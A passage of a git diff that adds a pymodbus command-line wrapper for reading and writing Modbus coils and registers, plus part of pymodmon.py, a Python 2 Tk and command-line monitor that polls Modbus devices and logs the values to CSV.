@@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for 